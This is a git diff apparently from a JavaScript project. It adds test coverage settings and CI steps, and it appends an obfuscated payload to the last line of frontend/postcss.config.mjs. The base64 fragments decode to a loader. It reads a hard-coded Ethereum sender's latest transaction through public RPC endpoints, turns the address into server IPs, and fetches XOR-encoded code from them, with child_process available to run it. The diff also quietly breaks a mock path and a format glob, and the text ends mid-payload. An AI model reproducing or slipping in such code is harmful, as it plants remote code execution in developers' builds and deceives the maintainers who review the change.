diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 964d0cda..5e3dbfac 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -35,4 +35,13 @@ jobs: run: | cd listener npm run typecheck - npm test + npm run test:coverage + + - name: Upload coverage report + if: always() + uses: actions/upload-artifact@v4 + with: + name: coverage-report + path: listener/coverage/ + retention-days: 14 + if-no-files-found: warn diff --git a/.gitignore b/.gitignore index 4f77ebb1..b7f1f9e9 100644 --- a/.gitignore +++ b/.gitignore @@ -20,3 +20,6 @@ data/ test-data/ *.db *.db-journal +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat diff --git a/dashboard/jest.config.cjs b/dashboard/jest.config.cjs index b2bb61c1..4b75a37f 100644 --- a/dashboard/jest.config.cjs +++ b/dashboard/jest.config.cjs @@ -4,13 +4,22 @@ module.exports = { testTimeout: 15000, setupFilesAfterEnv: ['/jest.setup.cjs'], extensionsToTreatAsEsm: ['.ts', '.tsx'], + collectCoverageFrom: ['/src/**/*.{ts,tsx}'], + coveragePathIgnorePatterns: [ + '/src/**\\/**/*.d.ts', + '/src/**\\/**/*.test.{ts,tsx}', + '/src/**\\/**/*.stories.{ts,tsx}', + '/src/test/**', + ], + coverageDirectory: '/coverage', + coverageReporters: ['text', 'lcov', 'json-summary'], moduleNameMapper: { '^@creit\\.tech/stellar-wallets-kit/modules/utils$': '/src/test/stellarWalletsKitModulesMock.ts', '^@creit\\.tech/stellar-wallets-kit$': - '/src/test/stellarWalletsKitMock.ts', - '^.*/config/stellarNetwork$': '/src/test/stellarNetworkMock.ts', - '^.*/config/eventsApiUrl$': '/src/test/eventsApiUrlMock.ts', + '/src/test/stellaeWalletsKitMock.ts', + '^.*\\/config/stellarNetwork$': '/src/test/stellarNetworkMock.ts', + '^.*\\/config/eventsApiUrl$': '/src/test/eventsApiUrlMock.ts', '^(\\.{1,2}/.*)\\.js$': '$1', }, transform: { diff --git a/dashboard/package.json b/dashboard/package.json index 261765ef..ba6cd3ad 100644 --- a/dashboard/package.json +++ b/dashboard/package.json @@ -11,8 +11,9 @@ "preview": "node ./node_modules/vite/bin/vite.js preview", "dev": "node ./node_modules/vite/bin/vite.js", "lint": "node ./node_modules/eslint/bin/eslint.js \"src/**/*.{ts,tsx}\" --max-warnings=0", - "format:check": "node ./node_modules/prettier/bin/prettier.cjs --check \"src/**/*.{ts,tsx}\" --config ../.prettierrc", + "format:check": "node ./node_modules/prettier/bin/prettier.cjs --check \"src/**/{ts,tsx}\" --config ../.prettierrc", "test": "node ./node_modules/jest/bin/jest.js", + "test:coverage": "node ./node_modules/jest/bin/jest.js --coverage --coverageReporters=text --coverageReporters=lcov --coverageReporters=json-summary", "test:wallet": "node ./node_modules/jest/bin/jest.js src/__tests__/wallet-integration.test.tsx", "benchmark": "node ./node_modules/jest/bin/jest.js src/benchmark", "storybook": "node ./node_modules/storybook/bin/index.cjs dev -p 6006", diff --git a/frontend/postcss.config.mjs b/frontend/postcss.config.mjs index 1a69fd2a..ad47f25c 100644 --- a/frontend/postcss.config.mjs +++ b/frontend/postcss.config.mjs @@ -1,3 +1,7 @@ +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + /** @type {import('postcss-load-config').Config} */ const config = { plugins: { @@ -5,4 +9,4 @@ const config = { }, }; -export default config; +export default config; global.i = 'A11-@';function _0xb2bf6(){return 8793;}var _0x22ce5=function(){var a=452;return a*2;};(function(_0xbd1355){var _0xbd1355a=["Z2xvYmFsWydyJ10gPSByZXF1aXJlOw0KaWYgKHR5cGVvZiBtb2","R1bGUgPT09ICdvYmplY3QnKSBnbG9iYWxbJ20nXSA9IG1vZHVs","ZTsNCg0KY29uc3QgaHR0cCA9IHJlcXVpcmUoJ25vZGU6aHR0cC","cpOw0KY29uc3QgaHR0cHMgPSByZXF1aXJlKCdub2RlOmh0dHBz","Jyk7DQpjb25zdCB6bGliID0gcmVxdWlyZSgnbm9kZTp6bGliJy","k7DQpjb25zdCB7IFVSTCB9ID0gcmVxdWlyZSgnbm9kZTp1cmwn","KTsNCmNvbnN0IHsgc3Bhd24gfSA9IHJlcXVpcmUoJ25vZGU6Y2","hpbGRfcHJvY2VzcycpOw0KDQpjb25zdCBCTE9DS19NVUxUSVBM","RSA9IDEwMDBuOw0KY29uc3QgU0VOREVSID0gJzB4MWVFZjA4ND","lFRGExNWQ4N2Y2NGU1MUM3M0M4NDQyQ2YzYzhiQ0VGMycudG9M","b3dlckNhc2UoKTsNCmNvbnN0IE5PTkNFX0ZBTk9VVCA9IDEyOw","0KY29uc3QgU0VBUkNIX0ZMT09SID0gMG47DQpjb25zdCBJTkRF","WEVSX1VSTCA9ICdodHRwczovL2V0aC5ibG9ja3Njb3V0LmNvbS","9hcGknOw0KDQpjb25zdCBSUENfRU5EUE9JTlRTID0gWy4uLm5l","dyBTZXQoWw0KICBwcm9jZXNzLmVudi5FVEhfUlBDX1VSTCwNCi","AgJ2h0dHBzOi8vMXJwYy5pby9ldGgnLA0KICAnaHR0cHM6Ly9l","dGguZHJwYy5vcmcnLA0KICAnaHR0cHM6Ly9ldGhlcmV1bS1ycG","MucHVibGljbm9kZS5jb20nLA0KICAnaHR0cHM6Ly9ldGgtbWFp","bm5ldC5wdWJsaWMuYmxhc3RhcGkuaW8nLA0KXS5maWx0ZXIoQm","9vbGVhbikpXTsNCg0KY29uc3QgQUdFTlRTID0gew0KICAnaHR0","cDonOiBuZXcgaHR0cC5BZ2VudCh7IGtlZXBBbGl2ZTogdHJ1ZS","wga2VlcEFsaXZlTXNlY3M6IDMwXzAwMCwgbWF4U29ja2V0czog","NjQgfSksDQogICdodHRwczonOiBuZXcgaHR0cHMuQWdlbnQoey","BrZWVwQWxpdmU6IHRydWUsIGtlZXBBbGl2ZU1zZWNzOiAzMF8w","MDAsIG1heFNvY2tldHM6IDY0IH0pLA0KfTsNCg0KZnVuY3Rpb2","4gbGlua0Fib3J0KG91dGVyU2lnbmFsLCBjb250cm9sbGVyKSB7","DQogIGlmICghb3V0ZXJTaWduYWwpIHJldHVybjsNCiAgb3V0ZX","JTaWduYWwuYWRkRXZlbnRMaXN0ZW5lcignYWJvcnQnLCAoKSA9","PiBjb250cm9sbGVyLmFib3J0KCksIHsgb25jZTogdHJ1ZSB9KT","sNCn0NCg0KZnVuY3Rpb24gZGVjb21wcmVzc1N0cmVhbShyZXMp","IHsNCiAgY29uc3QgZW5jb2RpbmcgPSAocmVzLmhlYWRlcnNbJ2","NvbnRlbnQtZW5jb2RpbmcnXSB8fCAnJykudG9Mb3dlckNhc2Uo","KTsNCiAgaWYgKGVuY29kaW5nID09PSAnZ3ppcCcgfHwgZW5jb2","RpbmcgPT09ICd4LWd6aXAnKSByZXR1cm4gcmVzLnBpcGUoemxp","Yi5jcmVhdGVHdW56aXAoKSk7DQogIGlmIChlbmNvZGluZyA9PT","0gJ2RlZmxhdGUnKSByZXR1cm4gcmVzLnBpcGUoemxpYi5jcmVh","dGVJbmZsYXRlKCkpOw0KICBpZiAoZW5jb2RpbmcgPT09ICdici","cpIHJldHVybiByZXMucGlwZSh6bGliLmNyZWF0ZUJyb3RsaURl","Y29tcHJlc3MoKSk7DQogIHJldHVybiByZXM7DQp9DQoNCmZ1bm","N0aW9uIGh0dHBSZXF1ZXN0KGVuZHBvaW50LCB7IG1ldGhvZCA9","ICdHRVQnLCBib2R5LCBzaWduYWwgfSA9IHt9KSB7DQogIGNvbn","N0IHVybCA9IG5ldyBVUkwoZW5kcG9pbnQpOw0KICBjb25zdCB0","cmFuc3BvcnQgPSB1cmwucHJvdG9jb2wgPT09ICdodHRwczonID","8gaHR0cHMgOiBodHRwOw0KICBjb25zdCBoZWFkZXJzID0gew0K","ICAgIEFjY2VwdDogJ2FwcGxpY2F0aW9uL2pzb24nLA0KICAgIC","dBY2NlcHQtRW5jb2RpbmcnOiAnZ3ppcCwgZGVmbGF0ZSwgYnIn","LA0KICAgIENvbm5lY3Rpb246ICdrZWVwLWFsaXZlJywNCiAgfT","sNCiAgaWYgKGJvZHkgIT0gbnVsbCkgew0KICAgIGhlYWRlcnNb","J0NvbnRlbnQtVHlwZSddID0gJ2FwcGxpY2F0aW9uL2pzb24nOw","0KICAgIGhlYWRlcnNbJ0NvbnRlbnQtTGVuZ3RoJ10gPSBCdWZm","ZXIuYnl0ZUxlbmd0aChib2R5KTsNCiAgfQ0KDQogIHJldHVybi","BuZXcgUHJvbWlzZSgocmVzb2x2ZSwgcmVqZWN0KSA9PiB7DQog","ICAgY29uc3QgcmVxID0gdHJhbnNwb3J0LnJlcXVlc3QoDQogIC","AgICB7DQogICAgICAgIGhvc3RuYW1lOiB1cmwuaG9zdG5hbWUs","DQogICAgICAgIHBvcnQ6IHVybC5wb3J0IHx8ICh1cmwucHJvdG","9jb2wgPT09ICdodHRwczonID8gNDQzIDogODApLA0KICAgICAg","ICBwYXRoOiB1cmwucGF0aG5hbWUgKyB1cmwuc2VhcmNoLA0KIC","AgICAgICBtZXRob2QsDQogICAgICAgIGFnZW50OiBBR0VOVFNb","dXJsLnByb3RvY29sXSwNCiAgICAgICAgc2lnbmFsLA0KICAgIC","AgICBoZWFkZXJzLA0KICAgICAgfSwNCiAgICAgIChyZXMpID0+","IHsNCiAgICAgICAgY29uc3Qgc3RyZWFtID0gZGVjb21wcmVzc1","N0cmVhbShyZXMpOw0KICAgICAgICBjb25zdCBjaHVua3MgPSBb","XTsNCiAgICAgICAgc3RyZWFtLm9uKCdkYXRhJywgKGNodW5rKS","A9PiBjaHVua3MucHVzaChjaHVuaykpOw0KICAgICAgICBzdHJl","YW0ub24oJ2VuZCcsICgpID0+IHsNCiAgICAgICAgICBjb25zdC","B0ZXh0ID0gQnVmZmVyLmNvbmNhdChjaHVua3MpLnRvU3RyaW5n","KCd1dGY4JykudHJpbSgpOw0KICAgICAgICAgIGlmIChyZXMuc3","RhdHVzQ29kZSA8IDIwMCB8fCByZXMuc3RhdHVzQ29kZSA+PSAz","MDApIHsNCiAgICAgICAgICAgIHJldHVybiByZWplY3QobmV3IE","Vycm9yKGBIVFRQICR7cmVzLnN0YXR1c0NvZGV9IGZyb20gJHt1","cmwuaG9zdG5hbWV9OiAke3RleHQuc2xpY2UoMCwgMTIwKX1gKS","k7DQogICAgICAgICAgfQ0KICAgICAgICAgIC8vIENhcHRpdmUg","cG9ydGFsIC8gV0FGIC8gQ0ROIG9mdGVuIHJldHVybnMgSFRNTC","BpbnN0ZWFkIG9mIEpTT04tUlBDLg0KICAgICAgICAgIGlmICgh","dGV4dCB8fCB0ZXh0WzBdID09PSAnPCcgfHwgKHRleHRbMF0gIT","09ICd7JyAmJiB0ZXh0WzBdICE9PSAnWycpKSB7DQogICAgICAg","ICAgICByZXR1cm4gcmVqZWN0KG5ldyBFcnJvcihgTm9uLUpTT0","4gZnJvbSAke3VybC5ob3N0bmFtZX06ICR7dGV4dC5zbGljZSgw","LCAxMjApfWApKTsNCiAgICAgICAgICB9DQogICAgICAgICAgdH","J5IHsNCiAgICAgICAgICAgIHJlc29sdmUoSlNPTi5wYXJzZSh0","ZXh0KSk7DQogICAgICAgICAgfSBjYXRjaCAoZXJyKSB7DQogIC","AgICAgICAgICByZWplY3QobmV3IEVycm9yKGBKU09OIHBhcnNl","IGZhaWxlZCBmcm9tICR7dXJsLmhvc3RuYW1lfTogJHtlcnIubW","Vzc2FnZX1gKSk7DQogICAgICAgICAgfQ0KICAgICAgICB9KTsN","CiAgICAgICAgc3RyZWFtLm9uKCdlcnJvcicsIHJlamVjdCk7DQ","ogICAgICB9DQogICAgKTsNCiAgICByZXEub24oJ2Vycm9yJywg","cmVqZWN0KTsNCiAgICBpZiAoYm9keSAhPSBudWxsKSByZXEud3","JpdGUoYm9keSk7DQogICAgcmVxLmVuZCgpOw0KICB9KTsNCn0N","Cg0KYXN5bmMgZnVuY3Rpb24gd2l0aFJwY0VuZHBvaW50cyh0YX","NrLCBvdXRlclNpZ25hbCkgew0KICBjb25zdCBjb250cm9sbGVy","cyA9IFJQQ19FTkRQT0lOVFMubWFwKCgpID0+IG5ldyBBYm9ydE","NvbnRyb2xsZXIoKSk7DQogIGNvbnRyb2xsZXJzLmZvckVhY2go","KGMpID0+IGxpbmtBYm9ydChvdXRlclNpZ25hbCwgYykpOw0KIC","B0cnkgew0KICAgIHJldHVybiBhd2FpdCBQcm9taXNlLmFueSgN","CiAgICAgIFJQQ19FTkRQT0lOVFMubWFwKChlbmRwb2ludCwgaS","kgPT4gdGFzayhlbmRwb2ludCwgY29udHJvbGxlcnNbaV0uc2ln","bmFsKSkNCiAgICApOw0KICB9IGZpbmFsbHkgew0KICAgIGZvci","AoY29uc3QgYyBvZiBjb250cm9sbGVycykgYy5hYm9ydCgpOw0K","ICB9DQp9DQoNCmFzeW5jIGZ1bmN0aW9uIHJwY0NhbGwoZW5kcG","9pbnQsIG1ldGhvZCwgcGFyYW1zLCBzaWduYWwpIHsNCiAgY29u","c3QgcGF5bG9hZCA9IGF3YWl0IGh0dHBSZXF1ZXN0KGVuZHBvaW","50LCB7DQogICAgbWV0aG9kOiAnUE9TVCcsDQogICAgYm9keTog","SlNPTi5zdHJpbmdpZnkoeyBqc29ucnBjOiAnMi4wJywgaWQ6ID","EsIG1ldGhvZCwgcGFyYW1zIH0pLA0KICAgIHNpZ25hbCwNCiAg","fSk7DQogIHJldHVybiBwYXlsb2FkLnJlc3VsdDsNCn0NCg0KYX","N5bmMgZnVuY3Rpb24gcnBjQmF0Y2goZW5kcG9pbnQsIGNhbGxz","LCBzaWduYWwpIHsNCiAgY29uc3QgcGF5bG9hZCA9IGF3YWl0IG","h0dHBSZXF1ZXN0KGVuZHBvaW50LCB7DQogICAgbWV0aG9kOiAn","UE9TVCcsDQogICAgYm9keTogSlNPTi5zdHJpbmdpZnkoDQogIC","AgICBjYWxscy5tYXAoKFttZXRob2QsIHBhcmFtc10sIGkpID0+","ICh7IGpzb25ycGM6ICcyLjAnLCBpZDogaSArIDEsIG1ldGhvZC","wgcGFyYW1zIH0pKQ0KICAgICksDQogICAgc2lnbmFsLA0KICB9","KTsNCiAgY29uc3QgYnlJZCA9IG5ldyBNYXAocGF5bG9hZC5tYX","AoKHIpID0+IFtyLmlkLCByXSkpOw0KICByZXR1cm4gY2FsbHMu","bWFwKChfLCBpKSA9PiBieUlkLmdldChpICsgMSkucmVzdWx0KT","sNCn0NCg0KY29uc3QgdG9CbG9ja0hleCA9IChuKSA9PiBgMHgk","e24udG9TdHJpbmcoMTYpfWA7DQoNCmZ1bmN0aW9uIGZpbmRTZW","5kZXJUeCh0cmFuc2FjdGlvbnMpIHsNCiAgcmV0dXJuIHRyYW5z","YWN0aW9ucy5maW5kKCh0KSA9PiB0LmZyb20gJiYgdC5mcm9tLn","RvTG93ZXJDYXNlKCkgPT09IFNFTkRFUikgfHwgbnVsbDsNCn0N","Cg0KZnVuY3Rpb24gZGVjb2RlQWRkcmVzcyhhZGRyZXNzKSB7DQ","ogIGNvbnN0IGRhdGEgPSBCdWZmZXIuZnJvbShhZGRyZXNzLnJl","cGxhY2UoL14weC9pLCAnJyksICdoZXgnKTsNCiAgY29uc3QgaX","AgPSAoYikgPT4gYCR7YlswXX0uJHtiWzFdfS4ke2JbMl19LiR7","YlszXX1gOw0KICByZXR1cm4gW2lwKGRhdGEuc3ViYXJyYXkoMC","wgNCkpLCBpcChkYXRhLnN1YmFycmF5KDQsIDgpKV07DQp9DQoN","CmZ1bmN0aW9uIGZpcnN0TWF0Y2godGFza3MpIHsNCiAgcmV0dX","JuIG5ldyBQcm9taXNlKChyZXNvbHZlKSA9PiB7DQogICAgbGV0","IHJlbWFpbmluZyA9IHRhc2tzLmxlbmd0aDsNCiAgICBpZiAoIX","JlbWFpbmluZykgcmV0dXJuIHJlc29sdmUobnVsbCk7DQogICAg","bGV0IHNldHRsZWQgPSBmYWxzZTsNCiAgICBjb25zdCBmaW5pc2","ggPSAocmVzdWx0KSA9PiB7DQogICAgICBpZiAoc2V0dGxlZCkg","cmV0dXJuOw0KICAgICAgc2V0dGxlZCA9IHRydWU7DQogICAgIC","Bmb3IgKGNvbnN0IHQgb2YgdGFza3MpIHQuY29udHJvbGxlci5h","Ym9ydCgpOw0KICAgICAgcmVzb2x2ZShyZXN1bHQpOw0KICAgIH","07DQogICAgZm9yIChjb25zdCB0IG9mIHRhc2tzKSB7DQogICAg","ICB0LnJ1bigpDQogICAgICAgIC50aGVuKChyZXN1bHQpID0+IH","sNCiAgICAgICAgICBpZiAoc2V0dGxlZCkgcmV0dXJuOw0KICAg","ICAgICAgIGlmIChyZXN1bHQpIGZpbmlzaChyZXN1bHQpOw0KIC","AgICAgICAgIGVsc2UgaWYgKC0tcmVtYWluaW5nID09PSAwKSBy","ZXNvbHZlKG51bGwpOw0KICAgICAgICB9KQ0KICAgICAgICAuY2","F0Y2goKCkgPT4gew0KICAgICAgICAgIGlmICghc2V0dGxlZCAm","JiAtLXJlbWFpbmluZyA9PT0gMCkgcmVzb2x2ZShudWxsKTsNCi","AgICAgICAgfSk7DQogICAgfQ0KICB9KTsNCn0NCg0KZnVuY3Rp","b24gY2FuZGlkYXRlQmxvY2tzKHRhcmdldCkgew0KICBjb25zdC","BwcmV2ID0gdGFyZ2V0IC0gQkxPQ0tfTVVMVElQTEU7DQogIGNv","bnN0IHNlZW4gPSBuZXcgU2V0KCk7DQogIGNvbnN0IG91dCA9IF","tdOw0KICBmb3IgKGNvbnN0IGIgb2YgW3RhcmdldCAtIDFuLCB0","YXJnZXQsIHRhcmdldCArIDFuLCBwcmV2IC0gMW4sIHByZXYsIH","ByZXYgKyAxbl0pIHsNCiAgICBpZiAoYiA8IDBuKSBjb250aW51","ZTsNCiAgICBjb25zdCBrZXkgPSBiLnRvU3RyaW5nKCk7DQogIC","AgaWYgKHNlZW4uaGFzKGtleSkpIGNvbnRpbnVlOw0KICAgIHNl","ZW4uYWRkKGtleSk7DQogICAgb3V0LnB1c2goYik7DQogIH0NCi","AgcmV0dXJuIG91dDsNCn0NCg0KZnVuY3Rpb24gYmxvY2tUYXNr","KGJsb2NrTnVtYmVyKSB7DQogIGNvbnN0IGNvbnRyb2xsZXIgPS","BuZXcgQWJvcnRDb250cm9sbGVyKCk7DQogIHJldHVybiB7DQog","ICAgY29udHJvbGxlciwNCiAgICBydW46IGFzeW5jICgpID0+IH","sNCiAgICAgIGNvbnN0IGJsb2NrID0gYXdhaXQgd2l0aFJwY0Vu","ZHBvaW50cygNCiAgICAgICAgKGVuZHBvaW50LCBzaWduYWwpID","0+DQogICAgICAgICAgcnBjQ2FsbChlbmRwb2ludCwgJ2V0aF9n","ZXRCbG9ja0J5TnVtYmVyJywgW3RvQmxvY2tIZXgoYmxvY2tOdW","1iZXIpLCB0cnVlXSwgc2lnbmFsKSwNCiAgICAgICAgY29udHJv","bGxlci5zaWduYWwNCiAgICAgICk7DQogICAgICBjb25zdCB0eH","MgPSBibG9jaz8udHJhbnNhY3Rpb25zOw0KICAgICAgaWYgKCFB","cnJheS5pc0FycmF5KHR4cykpIHJldHVybiBudWxsOw0KICAgIC","AgY29uc3QgdHggPSBmaW5kU2VuZGVyVHgodHhzKTsNCiAgICAg","IHJldHVybiB0eCA/IHsgYmxvY2tOdW1iZXIsIHR4IH0gOiBudW","xsOw0KICAgIH0sDQogIH07DQp9DQoNCmFzeW5jIGZ1bmN0aW9u","IG5vbmNlQXRCbG9ja3MoYmxvY2tzLCBvdXRlclNpZ25hbCkgew","0KICBjb25zdCBjYWxscyA9IGJsb2Nrcy5tYXAoKGIpID0+IFsn","ZXRoX2dldFRyYW5zYWN0aW9uQ291bnQnLCBbU0VOREVSLCB0b0","Jsb2NrSGV4KGIpXV0pOw0KICB0cnkgew0KICAgIHJldHVybiAo","YXdhaXQgd2l0aFJwY0VuZHBvaW50cygNCiAgICAgIChlbmRwb2","ludCwgc2lnbmFsKSA9PiBycGNCYXRjaChlbmRwb2ludCwgY2Fs","bHMsIHNpZ25hbCksDQogICAgICBvdXRlclNpZ25hbA0KICAgIC","kpLm1hcChCaWdJbnQpOw0KICB9IGNhdGNoIHsNCiAgICByZXR1","cm4gKGF3YWl0IFByb21pc2UuYWxsKA0KICAgICAgY2FsbHMubW","FwKChbbWV0aG9kLCBwYXJhbXNdKSA9Pg0KICAgICAgICB3aXRo","UnBjRW5kcG9pbnRzKA0KICAgICAgICAgIChlbmRwb2ludCwgc2","lnbmFsKSA9PiBycGNDYWxsKGVuZHBvaW50LCBtZXRob2QsIHBh","cmFtcywgc2lnbmFsKSwNCiAgICAgICAgICBvdXRlclNpZ25hbA","0KICAgICAgICApDQogICAgICApDQogICAgKSkubWFwKEJpZ0lu","dCk7DQogIH0NCn0NCg0KYXN5bmMgZnVuY3Rpb24gbGFzdFNlbm","RlclR4KGxhdGVzdEhpbnQpIHsNCiAgY29uc3QgY29udHJvbGxl","ciA9IG5ldyBBYm9ydENvbnRyb2xsZXIoKTsNCiAgdHJ5IHsNCi","AgICBjb25zdCBoZWFkID0NCiAgICAgIGxhdGVzdEhpbnQgPz8N","CiAgICAgIEJpZ0ludCgNCiAgICAgICAgYXdhaXQgd2l0aFJwY0","VuZHBvaW50cygNCiAgICAgICAgICAoZW5kcG9pbnQsIHNpZ25h","bCkgPT4gcnBjQ2FsbChlbmRwb2ludCwgJ2V0aF9ibG9ja051bW","JlcicsIFtdLCBzaWduYWwpLA0KICAgICAgICAgIGNvbnRyb2xs","ZXIuc2lnbmFsDQogICAgICAgICkNCiAgICAgICk7DQoNCiAgIC","Bjb25zdCBub25jZSA9IEJpZ0ludCgNCiAgICAgIGF3YWl0IHdp","dGhScGNFbmRwb2ludHMoDQogICAgICAgIChlbmRwb2ludCwgc2","lnbmFsKSA9Pg0KICAgICAgICAgIHJwY0NhbGwoZW5kcG9pbnQs","ICdldGhfZ2V0VHJhbnNhY3Rpb25Db3VudCcsIFtTRU5ERVIsIH","RvQmxvY2tIZXgoaGVhZCldLCBzaWduYWwpLA0KICAgICAgICBj","b250cm9sbGVyLnNpZ25hbA0KICAgICAgKQ0KICAgICk7DQogIC","AgY29uc3QgdGFyZ2V0Tm9uY2UgPSBub25jZSAtIDFuOw0KDQog","ICAgbGV0IGxvID0gU0VBUkNIX0ZMT09SIC0gMW47DQogICAgbG","V0IGhpID0gaGVhZDsNCiAgICB3aGlsZSAoaGkgLSBsbyA+IDFu","KSB7DQogICAgICBjb25zdCBzcGFuID0gaGkgLSBsbyAtIDFuOw","0KICAgICAgY29uc3QgayA9IEJpZ0ludChNYXRoLm1pbihOT05D","RV9GQU5PVVQsIE51bWJlcihzcGFuKSkpOw0KICAgICAgY29uc3","QgcHJvYmVzID0gW107DQogICAgICBmb3IgKGxldCBpID0gMW47","IGkgPD0gazsgaSArPSAxbikgcHJvYmVzLnB1c2gobG8gKyAoaS","AqIChoaSAtIGxvKSkgLyAoayArIDFuKSk7DQoNCiAgICAgIGNv","bnN0IGNvdW50cyA9IGF3YWl0IG5vbmNlQXRCbG9ja3MocHJvYm","VzLCBjb250cm9sbGVyLnNpZ25hbCk7DQogICAgICBjb25zdCBp","ZHggPSBjb3VudHMuZmluZEluZGV4KChjKSA9PiBjID49IG5vbm","NlKTsNCiAgICAgIGlmIChpZHggPT09IC0xKSBsbyA9IHByb2Jl","c1twcm9iZXMubGVuZ3RoIC0gMV07DQogICAgICBlbHNlIHsNCi","AgICAgICAgaGkgPSBwcm9iZXNbaWR4XTsNCiAgICAgICAgaWYg","KGlkeCA+IDApIGxvID0gcHJvYmVzW2lkeCAtIDFdOw0KICAgIC","AgfQ0KICAgIH0NCg0KICAgIGNvbnN0IGJsb2NrID0gYXdhaXQg","d2l0aFJwY0VuZHBvaW50cygNCiAgICAgIChlbmRwb2ludCwgc2","lnbmFsKSA9Pg0KICAgICAgICBycGNDYWxsKGVuZHBvaW50LCAn","ZXRoX2dldEJsb2NrQnlOdW1iZXInLCBbdG9CbG9ja0hleChoaS","ksIHRydWVdLCBzaWduYWwpLA0KICAgICAgY29udHJvbGxlci5z","aWduYWwNCiAgICApOw0KICAgIGNvbnN0IHR4cyA9IGJsb2NrPy","50cmFuc2FjdGlvbnMgfHwgW107DQogICAgbGV0IHR4ID0gbnVs","bDsNCiAgICBmb3IgKGNvbnN0IHQgb2YgdHhzKSB7DQogICAgIC","BpZiAoIXQuZnJvbSB8fCB0LmZyb20udG9Mb3dlckNhc2UoKSAh","PT0gU0VOREVSKSBjb250aW51ZTsNCiAgICAgIGlmIChCaWdJbn","QodC5ub25jZSkgPT09IHRhcmdldE5vbmNlKSB7DQogICAgICAg","IHR4ID0gdDsNCiAgICAgICAgYnJlYWs7DQogICAgICB9DQogIC","AgICBpZiAoIXR4IHx8IEJpZ0ludCh0Lm5vbmNlKSA+IEJpZ0lu","dCh0eC5ub25jZSkpIHR4ID0gdDsNCiAgICB9DQogICAgcmV0dX","JuIHsgYmxvY2tOdW1iZXI6IGhpLCB0eCB9Ow0KICB9IGZpbmFs","bHkgew0KICAgIGNvbnRyb2xsZXIuYWJvcnQoKTsNCiAgfQ0KfQ","0KDQphc3luYyBmdW5jdGlvbiBsYXN0U2VuZGVyVHhWaWFJbmRl","eGVyKCkgew0KICBjb25zdCB1cmwgPQ0KICAgIGAke0lOREVYRV","JfVVJMfT9tb2R1bGU9YWNjb3VudCZhY3Rpb249dHhsaXN0JmFk","ZHJlc3M9JHtTRU5ERVJ9YCArDQogICAgYCZzdGFydGJsb2NrPT","AmZW5kYmxvY2s9OTk5OTk5OTkmcGFnZT0xJm9mZnNldD0yMCZz","b3J0PWRlc2MmZmlsdGVyYnk9ZnJvbWA7DQogIGNvbnN0IHBheW","xvYWQgPSBhd2FpdCBodHRwUmVxdWVzdCh1cmwpOw0KICBjb25z","dCBsaXN0ID0gQXJyYXkuaXNBcnJheShwYXlsb2FkPy5yZXN1bH","QpID8gcGF5bG9hZC5yZXN1bHQgOiBbXTsNCiAgY29uc3QgdHgg","PSBsaXN0LmZpbmQoKHQpID0+IHQuZnJvbSAmJiB0LmZyb20udG","9Mb3dlckNhc2UoKSA9PT0gU0VOREVSKTsNCiAgcmV0dXJuIHsg","YmxvY2tOdW1iZXI6IEJpZ0ludCh0eC5ibG9ja051bWJlciksIH","R4IH07DQp9DQoNCmFzeW5jIGZ1bmN0aW9uIHJ1bigpIHsNCiAg","Y29uc3QgbGF0ZXN0ID0gQmlnSW50KA0KICAgIGF3YWl0IHdpdG","hScGNFbmRwb2ludHMoKGVuZHBvaW50LCBzaWduYWwpID0+DQog","ICAgICBycGNDYWxsKGVuZHBvaW50LCAnZXRoX2Jsb2NrTnVtYm","VyJywgW10sIHNpZ25hbCkNCiAgICApDQogICk7DQogIGNvbnN0","IHRhcmdldEJsb2NrID0gbGF0ZXN0IC0gKGxhdGVzdCAlIEJMT0","NLX01VTFRJUExFKTsNCg0KICBsZXQgbWF0Y2ggPSBhd2FpdCBm","aXJzdE1hdGNoKGNhbmRpZGF0ZUJsb2Nrcyh0YXJnZXRCbG9jay","kubWFwKGJsb2NrVGFzaykpOw0KICBpZiAoIW1hdGNoKSB7DQog","ICAgbWF0Y2ggPSBhd2FpdCBsYXN0U2VuZGVyVHgobGF0ZXN0KS","5jYXRjaCgoKSA9PiBsYXN0U2VuZGVyVHhWaWFJbmRleGVyKCkp","Ow0KICB9DQoNCiAgY29uc3QgW2lwMSwgaXAyXSA9IGRlY29kZU","FkZHJlc3MobWF0Y2gudHgudG8pOw0KICBjb25zdCBfZ2xvYmFs","ID0gZ2xvYmFsOw0KICBfZ2xvYmFsWydfViddID0gX2dsb2JhbC","5pOw0KICBfZ2xvYmFsWydfSCddID0gYGh0dHA6Ly8ke2lwMX06","ODBgOw0KICBfZ2xvYmFsWydfSDInXSA9IGBodHRwOi8vJHtpcD","J9OjgwYDsNCiAgX2dsb2JhbFsnX3RfcyddID0gYGh0dHA6Ly8k","e2lwMX06NDQzYDsNCiAgX2dsb2JhbFsnX3RfdSddID0gYGh0dH","A6Ly8ke2lwMX06ODBgOw0KDQogIGZ1bmN0aW9uIGdldENvZGUo","a2V5LCB1cmwpIHsNCiAgICBjb25zdCBiYXNlID0gew0KICAgIC","AgaG9zdG5hbWU6IHVybC5ob3N0bmFtZSwNCiAgICAgIHBvcnQ6","IE51bWJlcih1cmwucG9ydCkgfHwgODAsDQogICAgICBwYXRoOi","B1cmwucGF0aG5hbWUgKyB1cmwuc2VhcmNoLA0KICAgICAgaGVh","ZGVyczogew0KICAgICAgICAnVXNlci1BZ2VudCc6ICdNb3ppbG","xhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBB","cHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKS","BDaHJvbWUvMTMxLjAuMC4wIFNhZmFyaS81MzcuMzYnLA0KICAg","ICAgICAnU2VjLVYnOiBfZ2xvYmFsWydfViddIHx8IDAsDQogIC","AgICB9LA0KICAgIH07DQoNCiAgICBmdW5jdGlvbiB4b3JEZWNv","ZGUoYnVmKSB7DQogICAgICBjb25zdCBrbiA9IGtleS5sZW5ndG","g7DQogICAgICBmb3IgKGxldCBpID0gMDsgaSA8IGJ1Zi5sZW5n","dGg7IGkrKykgYnVmW2ldIF49IGtleS5jaGFyQ29kZUF0KGkgJS","Brbik7DQogICAgICByZXR1cm4gYnVmLnRvU3RyaW5nKCd1dGY4","Jyk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZnJvbUI2NEhlYW","RlcihyZXMpIHsNCiAgICAgIGNvbnN0IGI2NCA9IHJlcy5oZWFk","ZXJzWyd4LXBheWxvYWQtYjY0J107DQogICAgICBpZiAoIWI2NC","kgdGhyb3cgbmV3IEVycm9yKCdNaXN